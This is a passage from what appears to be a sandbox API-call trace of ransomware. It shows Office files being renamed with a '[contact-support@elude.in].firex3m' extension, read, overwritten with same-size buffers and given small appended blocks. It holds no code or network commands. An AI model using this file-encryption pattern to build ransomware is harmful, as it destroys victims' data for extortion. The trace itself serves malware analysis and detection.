office\\root\\office16\\1033\\skypefb_onlineg_col.hxc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0182.851] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.851] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29f, dwReserved0=0x6d, dwReserved1=0x0, cFileName="SKYPEFB_ONLINEG_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKA43C~1.FIR")) returned 0x6d53c0 [0182.851] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0182.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_col.hxc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0182.851] GetProcessHeap () returned 0x630000 [0182.851] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x746ab70 [0182.851] GetProcessHeap () returned 0x630000 [0182.851] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x746ae38 [0182.851] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.852] ReadFile (in: hFile=0x6dc, lpBuffer=0x746ab70, nNumberOfBytesToRead=0x280, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x746ab70*, lpNumberOfBytesRead=0x41fff0c*=0x280, lpOverlapped=0x0) returned 1 [0182.855] GetProcessHeap () returned 0x630000 [0182.855] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0182.855] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.856] WriteFile (in: hFile=0x6dc, lpBuffer=0x746ae38*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x746ae38*, lpNumberOfBytesWritten=0x41fff0c*=0x280, lpOverlapped=0x0) returned 1 [0182.856] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.856] WriteFile (in: hFile=0x6dc, lpBuffer=0x746b0b7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x746b0b7*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0182.856] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.856] WriteFile (in: hFile=0x6dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0182.856] CloseHandle (hObject=0x6dc) returned 1 [0182.856] GetProcessHeap () returned 0x630000 [0182.856] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x746ae38 | out: hHeap=0x630000) returned 1 [0182.856] GetProcessHeap () returned 0x630000 [0182.856] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x746ab70 | out: hHeap=0x630000) returned 1 [0182.856] GetProcessHeap () returned 0x630000 [0182.856] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0182.856] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.856] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x32f076c3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x41ffd20, dwReserved1=0x746ab70, cFileName="SKYPEFB_ONLINEG_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKA43C~1.FIR")) returned 0x6d5340 [0182.857] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0182.857] Sleep (dwMilliseconds=0x1) [0182.865] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS", len=0x48 | out: pbstr=0x41fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS") returned 1 [0182.865] GetProcessHeap () returned 0x630000 [0182.865] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a30) returned 0x707d3d0 [0182.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0182.866] CloseHandle (hObject=0x6dc) returned 1 [0182.866] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.866] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg.hxs.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0182.867] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.867] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ad675f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ad675f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f484, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_ONLINEG.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SK5D61~1.FIR")) returned 0x6d5000 [0182.867] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0182.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg.hxs.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0182.867] GetProcessHeap () returned 0x630000 [0182.867] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x706cf78 [0182.867] GetProcessHeap () returned 0x630000 [0182.868] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x731cfd8 [0182.868] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.868] ReadFile (in: hFile=0x6dc, lpBuffer=0x706cf78, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x706cf78*, lpNumberOfBytesRead=0x41fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0192.644] GetProcessHeap () returned 0x630000 [0192.644] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175df0 [0192.644] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.644] WriteFile (in: hFile=0x6dc, lpBuffer=0x731cfd8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x731cfd8*, lpNumberOfBytesWritten=0x41fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0193.569] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.570] WriteFile (in: hFile=0x6dc, lpBuffer=0x73283d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x73283d7*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0194.898] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.899] WriteFile (in: hFile=0x6dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0194.899] CloseHandle (hObject=0x6dc) returned 1 [0195.889] GetProcessHeap () returned 0x630000 [0195.889] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x731cfd8 | out: hHeap=0x630000) returned 1 [0195.890] GetProcessHeap () returned 0x630000 [0195.890] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706cf78 | out: hHeap=0x630000) returned 1 [0195.890] GetProcessHeap () returned 0x630000 [0195.890] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175df0 | out: hHeap=0x630000) returned 1 [0196.296] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.296] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ad675f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ad675f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3a1d3669, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1f4a8, dwReserved0=0xb307496, dwReserved1=0x706cf70, cFileName="SKYPEFB_ONLINEG.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SK5D61~1.FIR")) returned 0x6d5040 [0196.296] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0196.296] Sleep (dwMilliseconds=0x1) [0196.323] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt", len=0x4d | out: pbstr=0x41fff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt") returned 1 [0196.323] GetProcessHeap () returned 0x630000 [0196.323] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x477c) returned 0x7133a90 [0196.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\media.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0196.435] CloseHandle (hObject=0x674) returned 1 [0196.435] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0196.436] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\media.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\media.accdt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0196.610] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.610] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6a2342, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x482a, dwReserved0=0x6d0033, dwReserved1=0x0, cFileName="Media.accdt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MEDIAA~1.FIR")) returned 0x6d4ec0 [0196.610] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0196.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\media.accdt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0196.610] GetProcessHeap () returned 0x630000 [0196.610] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4841) returned 0x70dd910 [0196.611] GetProcessHeap () returned 0x630000 [0196.611] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4841) returned 0x70e2160 [0196.611] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.611] ReadFile (in: hFile=0x674, lpBuffer=0x70dd910, nNumberOfBytesToRead=0x4820, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70dd910*, lpNumberOfBytesRead=0x41fff0c*=0x4820, lpOverlapped=0x0) returned 1 [0198.726] GetProcessHeap () returned 0x630000 [0198.726] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0198.726] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.727] WriteFile (in: hFile=0x674, lpBuffer=0x70e2160*, nNumberOfBytesToWrite=0x4820, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70e2160*, lpNumberOfBytesWritten=0x41fff0c*=0x4820, lpOverlapped=0x0) returned 1 [0198.727] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.727] WriteFile (in: hFile=0x674, lpBuffer=0x70e697f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70e697f*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0198.727] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.727] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0198.727] CloseHandle (hObject=0x674) returned 1 [0198.727] GetProcessHeap () returned 0x630000 [0198.727] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70e2160 | out: hHeap=0x630000) returned 1 [0198.727] GetProcessHeap () returned 0x630000 [0198.727] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70dd910 | out: hHeap=0x630000) returned 1 [0198.727] GetProcessHeap () returned 0x630000 [0198.727] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0198.728] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0198.728] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6a2342, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3c6578d1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x484e, dwReserved0=0xb307496, dwReserved1=0x70dd908, cFileName="Media.accdt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MEDIAA~1.FIR")) returned 0x6d5000 [0198.728] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0198.728] Sleep (dwMilliseconds=0x1) [0201.053] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sybase.xsl", len=0x7a | out: pbstr=0x41fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sybase.xsl") returned 1 [0201.053] GetProcessHeap () returned 0x630000 [0201.053] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4c0c) returned 0x7133a90 [0201.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sybase.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0201.054] CloseHandle (hObject=0x6cc) returned 1 [0201.054] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0201.054] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sybase.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\sybase.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0201.055] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0201.055] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24d70354, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24d70354, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24d70354, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x76a1, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SYBASE~1.FIR")) returned 0x6d5580 [0201.055] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0201.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0201.055] GetProcessHeap () returned 0x630000 [0201.055] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x76c1) returned 0x718b7d8 [0201.055] GetProcessHeap () returned 0x630000 [0201.055] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x76c1) returned 0x7453008 [0201.055] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.055] ReadFile (in: hFile=0x6cc, lpBuffer=0x718b7d8, nNumberOfBytesToRead=0x76a0, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x718b7d8*, lpNumberOfBytesRead=0x41fff0c*=0x76a0, lpOverlapped=0x0) returned 1 [0207.053] GetProcessHeap () returned 0x630000 [0207.053] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318210 [0207.054] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.054] WriteFile (in: hFile=0x6cc, lpBuffer=0x7453008*, nNumberOfBytesToWrite=0x76a0, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7453008*, lpNumberOfBytesWritten=0x41fff0c*=0x76a0, lpOverlapped=0x0) returned 1 [0207.054] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.054] WriteFile (in: hFile=0x6cc, lpBuffer=0x745a6a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x745a6a7*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0207.054] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.054] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0207.054] CloseHandle (hObject=0x6cc) returned 1 [0207.054] GetProcessHeap () returned 0x630000 [0207.054] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7453008 | out: hHeap=0x630000) returned 1 [0207.055] GetProcessHeap () returned 0x630000 [0207.055] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718b7d8 | out: hHeap=0x630000) returned 1 [0207.055] GetProcessHeap () returned 0x630000 [0207.055] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318210 | out: hHeap=0x630000) returned 1 [0207.055] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0207.055] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24d70354, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24d70354, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x415bd38e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x76c5, dwReserved0=0xb307496, dwReserved1=0x718b7d0, cFileName="sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m", 